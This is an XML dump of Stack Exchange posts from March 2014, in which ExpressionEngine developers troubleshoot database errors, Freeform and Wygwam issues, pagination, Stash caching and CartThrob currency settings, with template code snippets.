  <row Id="20748" PostTypeId="1" AcceptedAnswerId="20750" CreationDate="2014-03-28T02:01:46.280" Score="1" ViewCount="96" Body="&lt;p&gt;I created a new channel and a field group that has a large number of custom fields. When I attempt to Publish a new entry I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A Database Error Occurred Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column ‘field_id_0’ in ‘field list’&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT &lt;code&gt;field_id_0&lt;/code&gt; FROM (&lt;code&gt;exp_channel_data&lt;/code&gt;) WHERE &lt;code&gt;channel_id&lt;/code&gt; = ‘0’&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: fieldtypes/select/ft.select.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 154&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;All other channels work fine and publish without error. I did a search and do not have a field_id_0, nor do I have a channel_id 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I enabled Template Debugging and do not get any errors there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a limit to the number of custom fields you can have with a field group/channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues what may be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-03-28T02:30:31.437" Title="Database Error when I attempt to Publish an Entry" Tags="|channel-entries|custom-fields|database-error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20750" PostTypeId="2" ParentId="20748" CreationDate="2014-03-28T02:30:31.437" Score="1" Body="&lt;p&gt;Problem solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the deal. I had several 'Select Dropdown' fields and on one of those fields a radio button was not selected:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Populate the menu manually&lt;/li&gt;&#xA;&lt;li&gt;Populate the menu from another channel field&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If one of them is not selected it throws this error. Personally I think this is a bug, but at least there is a solution.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-03-28T02:30:31.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20751" PostTypeId="1" CreationDate="2014-03-28T02:32:03.713" Score="1" ViewCount="75" Body="&lt;p&gt;Is it possible to get a page count for a Freeform composer form by counting the page breaks (or by some other method)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I'm just using the page_marker and pulling in the last url segment {last_segment}, which isn't ideal because I have no way of getting the total count (like - Step {count} of {total_count}). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's a native/better method out there?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:freeform:composer form_name=&quot;some_form_name&quot; multipage=&quot;yes&quot; page_marker=&quot;step/&quot; inline_errors=&quot;yes&quot;}&#xA;&#xA;&amp;lt;div class=&quot;ff_composer&quot;&amp;gt;&#xA;{composer:page}&#xA;&#xA;    {composer:rows}&#xA;            &amp;lt;div class=&quot;line&quot;&amp;gt;&#xA;        {composer:columns}&#xA;                &amp;lt;div class=&quot;unit size1of{composer:column_total}&quot;&amp;gt;&#xA;&#xA;            {composer:fields}&#xA;&#xA;                        &amp;lt;label class=&quot;field_label&quot; for=&quot;freeform_{composer:field_name}&quot;&amp;gt;&#xA;                            {composer:field_label}{if composer:field_required}&amp;lt;span class=&quot;required_item&quot;&amp;gt;*&amp;lt;/span&amp;gt;{/if}&#xA;                            {if freeform:error:{composer:field_name}}&amp;lt;span class=&quot;error&quot;&amp;gt;{freeform:error:{composer:field_name}}&amp;lt;/span&amp;gt;{/if}&#xA;                        &amp;lt;/label&amp;gt;                                                        &#xA;&#xA;                    {composer:field_output}&#xA;&#xA;&#xA;            {/composer:fields}&#xA;                &amp;lt;/div&amp;gt;&#xA;        {/composer:columns}&#xA;            &amp;lt;/div&amp;gt;&#xA;    {/composer:rows}&#xA;&#xA;{/composer:page}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:freeform:composer}&lt;/p&gt;&#xA;" OwnerUserId="1387" LastActivityDate="2014-04-27T17:04:26.330" Title="Freeform page break count" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20752" PostTypeId="1" AcceptedAnswerId="20756" CreationDate="2014-03-28T07:33:11.940" Score="0" ViewCount="105" Body="&lt;p&gt;All of a sudden wigwam stopped loading the tool bar. I can not click in the field, either to publish or edit, there is no field, no tool bar. Its been working great for 3 months. I am running EE 2.6.1 and wigwam 3.2.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the Editor Configurations and they are fine, nothing has changed. I checked he field type and it set to Wigwam. In edit mode, if I change the field type to Textarea, the content is there as with HTML tags (like source mode). The content is still their I can see it on the website, and it formatted. Look great.   &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2014-03-28T09:31:52.003" Title="Wygwam not loading tool bar" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20753" PostTypeId="2" ParentId="20732" CreationDate="2014-03-28T08:34:44.553" Score="1" Body="&lt;p&gt;If you mean the option groups in combination with: &lt;em&gt;Populate the menu from another channel field&lt;/em&gt;, then you would need to modify and customise a fieldtype. Something that makes a dropdown from a table, and modify the fieldtype to make option groups based on category, tags or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some starting points to build a custom fieldtype of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/sp-table-select&quot; rel=&quot;nofollow&quot;&gt;sp-table-select&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/query-field&quot; rel=&quot;nofollow&quot;&gt;query-field&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/chosen-selects&quot; rel=&quot;nofollow&quot;&gt;chosen-selects&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-03-28T08:34:44.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20754" PostTypeId="1" AcceptedAnswerId="20755" CreationDate="2014-03-28T09:09:58.030" Score="0" ViewCount="211" Body="&lt;p&gt;I have about 500 entries in a channel, and I need to show them on Google Map. When I try to read data with {exp:channel:entries} pair, it takes long to load the pages. Is there any way to load the data and start showing them as soon as they are ready on the map? Is it possible to read, for example 50 entries a time show them, then read next 50 entries, etc.? Maybe using a plugin or Ajax? Any idea?&lt;/p&gt;&#xA;" OwnerUserId="1637" LastActivityDate="2014-03-29T07:15:11.147" Title="Listing all channel entries with Ajax" Tags="|channel-entries|ajax|google-maps|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20755" PostTypeId="2" ParentId="20754" CreationDate="2014-03-28T09:23:12.780" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use stash to cache the results (refresh every x minutes, overwrite=no) for fast access.&lt;/li&gt;&#xA;&lt;li&gt;Chain your ajax request, and use channel:entries limit and offset parameters&lt;br&gt;&#xA;(e.g. after the first 50 return, hand them to map handler and call same/next ajax with new offset)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Option 2 will do several requests in a row, which might not be what you want.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; example added.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caching the output of a channel entries tag for 60 minutes.&lt;br&gt;&#xA;(from &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#caching-a-variable&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/%7Bexp%3Astash%3Aset%7D#caching-a-variable&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set&#xA;    name=&quot;my_cached_entries&quot; &#xA;    save=&quot;yes&quot; &#xA;    scope=&quot;site&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    replace=&quot;no&quot; &#xA;    refresh=&quot;60&quot;&#xA;    output=&quot;yes&quot;&#xA;}&#xA;    {exp:channel:entries channel=&quot;blog&quot;}&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-03-29T07:15:11.147" LastActivityDate="2014-03-29T07:15:11.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20756" PostTypeId="2" ParentId="20752" CreationDate="2014-03-28T09:31:52.003" Score="0" Body="&lt;p&gt;this probably points to javascript errors. check with devtools or firebug what is going on.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-03-28T09:31:52.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20757" PostTypeId="1" CreationDate="2014-03-28T10:22:15.810" Score="1" ViewCount="1172" Body="&lt;p&gt;Got an error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: Array to string conversion&#xA;&#xA;Filename: helpers/form_helper.php&#xA;&#xA;Line Number: 345&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I do not have a helpers folder in my main directory but I have one in my codeigniter &gt; system and the file form_helper.php exists there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the path to CI needing updated?&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-07-27T10:47:07.913" Title="php error Filename: helpers/form_helper.php" Tags="|php-errors|codeigniter|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20758" PostTypeId="1" CreationDate="2014-03-28T10:25:37.100" Score="1" ViewCount="219" Body="&lt;p&gt;I have what should be a very straightforward grid field with very straightforward template code, but the contents are not being displayed in the template. AFAICT I'm using the grid field the same way that I've used it elsewhere on the same site without problems (basically, the grid is used to set up images with alt text, caption, etc). So I'm wondering if there's a problem at a database level -- but I have no idea how to diagnose or fix that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The grid field's name is about_company_photo ad the columns are named image, alt, and caption. The grid has a single row (the field is set to minimum rows: 0, maximum rows: 1), and the image file itself is showing up in the File Manager. Looking at the entry in the CP it looks fine. This is all using native EE stuff, v 2.7.3. My template code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if about_company_photo}&#xA;    &amp;lt;img src=&quot;{about_company_photo:image}&quot; alt=&quot;{about_company_photo:alt}&quot; title=&quot;{about_company_photo:caption}&quot;&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The template is outputting the ing element, so presumably it is recognising that there is content in the grid itself, but the img tag's src, alt and title attributes are being left empty. Does anybody have any idea why this might be?&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2014-03-28T10:50:33.947" LastActivityDate="2014-04-27T15:04:22.283" Title="Grid content not showing up in template" Tags="|grid|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20759" PostTypeId="1" CreationDate="2014-03-28T11:25:21.150" Score="3" ViewCount="96" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries category_group=&quot;16&quot; limit=&quot;1&quot; paginate_type=&quot;field&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;    &amp;lt;div class=&quot;anw-readmorenewstitle&quot;&amp;gt;{title}&amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;anw-readmorenewstext&quot;&amp;gt;{news_text}&#xA;&#xA;    &amp;lt;div class=&quot;article-content-columns&quot;&amp;gt;&#xA;    {multi_field=&quot;Summary|Extended&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div&amp;gt;&#xA;        Last updated on {edit_date format='%M %d, %Y'} at {edit_date format='%h:%i %A'}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages for this article {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code i am using.The result of the above code  is not showing any pagination links.  when i remove the  &lt;code&gt;{multi_field}&lt;/code&gt; tag  pagination links are appearing,but  link route to next news. I want to  split a long article in to different pages..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;plz help&lt;/p&gt;&#xA;" OwnerUserId="2892" LastEditorUserId="7185" LastEditDate="2017-02-15T15:16:06.277" LastActivityDate="2017-02-15T15:16:06.277" Title="pagination is not working ?single entry across multiple pages" Tags="|channel-entries|pagination|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20760" PostTypeId="2" ParentId="20192" CreationDate="2014-03-28T11:35:22.210" Score="2" Body="&lt;p&gt;I've recently been up against this.&#xA;Check your &lt;code&gt;sql_mode&lt;/code&gt; doesn't have &lt;code&gt;STRICT_TRANS_TABLES&lt;/code&gt; enabled.&lt;/p&gt;&#xA;" OwnerUserId="1338" LastActivityDate="2014-03-28T11:35:22.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20761" PostTypeId="2" ParentId="20590" CreationDate="2014-03-28T12:36:53.770" Score="0" Body="&lt;p&gt;To span one entry across multiple pages EE natively requires the use of multiple content fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/pagination_spanning.html#multi-field&quot; rel=&quot;nofollow&quot;&gt;EE Docs for multiple content fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You determine how the content splits into chunks by how you split up the content into the multiple fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your code you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{multi_field=&quot;page1|page2| page3&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which assumes you have fields with the names of page1, page2 and page3 in the fieldset assigned to the channel.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-03-28T12:36:53.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20762" PostTypeId="1" CreationDate="2014-03-28T13:13:47.537" Score="0" ViewCount="172" Body="&lt;p&gt;I have using structure, but in my listing page pagination does not working properly. pagination links are changed but records are display at it is. means every time same records display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have using structure, freebie, zoo triggers and stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script is given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_layouts/index&quot;}&#xA;&#xA;{exp:stash:set name=&quot;meta&quot;}&#xA;{exp:seo_lite use_last_segment=&quot;yes&quot;}&#xA;{/exp:stash:set}&#xA;&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&amp;lt;section id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;inner-container&quot;&amp;gt;&#xA;        &amp;lt;span class=&quot;logo-icon&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;left-line&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;span class=&quot;right-line&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-8 col-sm-8&quot;&amp;gt;&#xA;                &amp;lt;section id=&quot;left-side&quot;&amp;gt;&#xA;&#xA;                    {embed='home/breadcumb'}&#xA;&#xA;                    {exp:channel:entries channel=&quot;pages&quot; dynamic=&quot;yes&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;                        &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                        {page_content}&#xA;                    {/exp:channel:entries}&#xA;                    &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;!-- --&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;                    &amp;lt;section class=&quot;all-list&quot;&amp;gt;&#xA;                    {exp:channel:entries channel=&quot;parliamentarian&quot; parse=&quot;inward&quot; dynamic=&quot;no&quot; paginate=&quot;bottom&quot; limit=&quot;10&quot; disable=&quot;categories|category_fields|member_data|trackbacks&quot;}&#xA;                        &amp;lt;div class=&quot;listing {switch='odd|even'} cf&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;member-image&quot;&amp;gt;&#xA;                                {member_image}&#xA;                                    &amp;lt;img src=&quot;{image:url:small}&quot; /&amp;gt;&#xA;                                {/member_image}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;a href=&quot;{page_uri}&quot; class=&quot;details-arrow&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        {paginate}&#xA;                          {pagination_links}&#xA;                              &amp;lt;div class=&quot;paging&quot;&amp;gt;&#xA;                                &amp;lt;span class=&quot;page-name&quot;&amp;gt;Page({current_page}):&amp;lt;/span&amp;gt;&#xA;                                  {first_page}&#xA;                                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;first&quot;&amp;gt;First&amp;lt;/a&amp;gt;&#xA;                                  {/first_page}&#xA;&#xA;                                  {previous_page}&#xA;                                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;prev&quot;&amp;gt;Prev&amp;lt;/a&amp;gt;&#xA;                                  {/previous_page}&#xA;                                  {page}&#xA;                                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}current{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;                                  {/page}&#xA;                                  {next_page}&#xA;                                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;next&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&#xA;                                  {/next_page}&#xA;&#xA;                                  {last_page}&#xA;                                          &amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;last&quot;&amp;gt;Last&amp;lt;/a&amp;gt;&#xA;                                  {/last_page}&#xA;                              &amp;lt;/div&amp;gt;&#xA;                          {/pagination_links}&#xA;                        {/paginate}&#xA;                    {/exp:channel:entries}&#xA;                    &amp;lt;/section&amp;gt;&#xA;&#xA;                &amp;lt;/section&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;col-md-4 col-sm-4&quot;&amp;gt;&#xA;                {embed='pages/right-side'}&#xA;            &amp;lt;/div&amp;gt;        &#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help me how to solve it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2016-06-15T00:49:14.037" Title="Pagination does not working properly with structure" Tags="|structure|pagination|freebie|zoo-triggers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20764" PostTypeId="1" CreationDate="2014-03-28T13:44:39.163" Score="1" ViewCount="159" Body="&lt;p&gt;Hope your all doing well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the transaction on the website are charged in USD instead of CAD do I need to change something? Or Push some information in the Checkout Form? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;input type=&quot;hidden&quot; name=&quot;currency_code&quot; value=&quot;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xZegC.png&quot; alt=&quot;Cartthrob Setup Currency&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second point I have downloaded CartThrob Multi Location Settings Manager Does it's work? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJK7y.png&quot; alt=&quot;CartThrob Multi Location Settings Manager&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to make something different from here?&lt;/p&gt;&#xA;" OwnerUserId="2668" LastActivityDate="2014-04-27T19:04:26.360" Title="Cartthrob Currency Issue" Tags="|cartthrob|checkout|currency|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20765" PostTypeId="1" CreationDate="2014-03-28T13:46:13.607" Score="1" ViewCount="139" Body="&lt;p&gt;Posting here as CartThrob say they monitor this section daily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on &quot;Reports&quot; in my CartThrob Extension menu gives the following database error. Is there anything I can do about this or is it a CartThrob bug?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'status' in 'where clause'&#xA;&#xA;SELECT `template_id`, `template_name`, `group_name` FROM (`exp_templates`) JOIN `exp_template_groups` ON `exp_templates`.`group_id` = `exp_template_groups`.`group_id` WHERE `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `status` NOT IN ('closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed', 'closed') AND `exp_templates`.`site_id` = '1' ORDER BY `group_name`, `template_name`&#xA;&#xA;Filename: models/template_model.php&#xA;&#xA;Line Number: 819&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm on CartThrob v2.5, EE 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2014-08-21T18:57:57.063" Title="CartThrob Database Error" Tags="|cartthrob|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20766" PostTypeId="2" ParentId="20765" CreationDate="2014-03-28T13:56:27.463" Score="1" Body="&lt;p&gt;Is CartThrob compatible for EE 2.8.x yet? That could be an issue. But i'd just check if the &lt;em&gt;Select&lt;/em&gt; the SQL is trying to do, actually exists. e.g. Does the table *exp_templates* exist. Best way of debugging it.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-03-28T13:56:27.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20767" PostTypeId="1" CreationDate="2014-03-28T14:02:09.883" Score="0" ViewCount="474" Body="&lt;p&gt;I keep getting random &quot;502 Bad Gateway - nginx&quot; errors cropping up on a clients website when using Cart Throb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I tried to install the example templates &amp;amp; chanmels inside Cart Throb, but it through the 502 error, when it got to this URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://website.co.uk/admin.php?S=3299b90f3382da657f76b0fb2746336bdb26ebd9&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=cartthrob&amp;amp;method=install_templates&quot; rel=&quot;nofollow&quot;&gt;https://website.co.uk/admin.php?S=3299b90f3382da657f76b0fb2746336bdb26ebd9&amp;amp;D=cp&amp;amp;C=addons_modules&amp;amp;M=show_module_cp&amp;amp;module=cartthrob&amp;amp;method=install_templates&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also does it &lt;em&gt;sometimes&lt;/em&gt; when a customer pays for something, using the SagePay gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be causing this? I've tried turning off secure forms in the settings and its still doing it.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-08-28T01:40:53.877" Title="CartThrob - 502 Bad Gateway" Tags="|cartthrob|server|error-500|error-502|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20768" PostTypeId="2" ParentId="20764" CreationDate="2014-03-28T14:05:55.673" Score="1" Body="&lt;p&gt;Check you haven't got a hidden input in your checkout form process. This can overwrite the currency. If its in there, remove it, or change the value. It usually works like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;currency_code&quot; id=&quot;currency_code&quot; value=&quot;CAD&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what that add-on your using is. But the way I recently got around this was to set the location in a session, then used a Matrix field with the &quot;Country&quot; choice on each row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made it also pull the &quot;Country&quot; from ones I had set inside Low Variables so the client could add different countries whenever they wanted.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-03-28T14:05:55.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20770" PostTypeId="1" CreationDate="2014-03-28T14:42:40.500" Score="2" ViewCount="26" Body="&lt;p&gt;This is when I am creating a fieldpack download channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Message: Array to string conversion&#xA;Filename: fieldpack/ft.fieldpack_pill.php&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-28T14:42:40.500" Title="Field pack pixel and tonic strange php error" Tags="|pixelandtonic|custom-fields|field-pack|" AnswerCount="0" CommentCount="1" ClosedDate="2014-05-20T15:51:46.913" ContentLicense="CC BY-SA 3.0" />
  <row Id="20771" PostTypeId="2" ParentId="20758" CreationDate="2014-03-28T14:59:25.493" Score="1" Body="&lt;p&gt;Stupid me, I see it now. Forgot to include the Grid field's own loop around the column identifier tags. Note to self: don't code tired.&#xA;D’oh!&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-03-28T14:59:25.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20772" PostTypeId="1" CreationDate="2014-03-28T15:08:25.350" Score="2" ViewCount="58" Body="&lt;p&gt;Running Expression engine &lt;strong&gt;v2.1.3&lt;/strong&gt;.. I know we should update.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to say that I am not a developer, but I need a small help here. I have been asked to add a tracking code to a form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onSubmit=&quot;_gaq.push(['_trackEvent', 'ClientA NO Landingpage', 'Button', 'Call me']);&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;   collection=&quot;Ring meg&quot;&#xA;   notify=&quot;someemail@someemail.com&quot;&#xA;   required=&quot;phone1&quot;&#xA;   form:class=&quot;ringmegform&quot;&#xA;   return=&quot;{if user_language != 'no'}{user_language}{/if}/aktiviteter/ringer&quot;&#xA;   output_json=&quot;yes&quot;&#xA;   ajax=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This form uses the default template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can do this?&lt;/p&gt;&#xA;" OwnerUserId="2904" LastEditorUserId="7185" LastEditDate="2017-02-15T15:17:17.490" LastActivityDate="2017-02-15T15:17:17.490" Title="Event tracking code to Freeform generated form" Tags="|solspace-freeform|solspace|tracking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20773" PostTypeId="2" ParentId="20692" CreationDate="2014-03-28T15:47:13.143" Score="0" Body="&lt;p&gt;Yes — It's a bug that seems to pop up on EE point releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you don't have to disable Structure completely while waiting for a fix: Just turn off (i.e. set &lt;strong&gt;enabled&lt;/strong&gt; to &lt;strong&gt;n&lt;/strong&gt; in the exp_extensions table) Structure_ext's hook into &lt;strong&gt;sessions_start&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-03-28T15:47:13.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
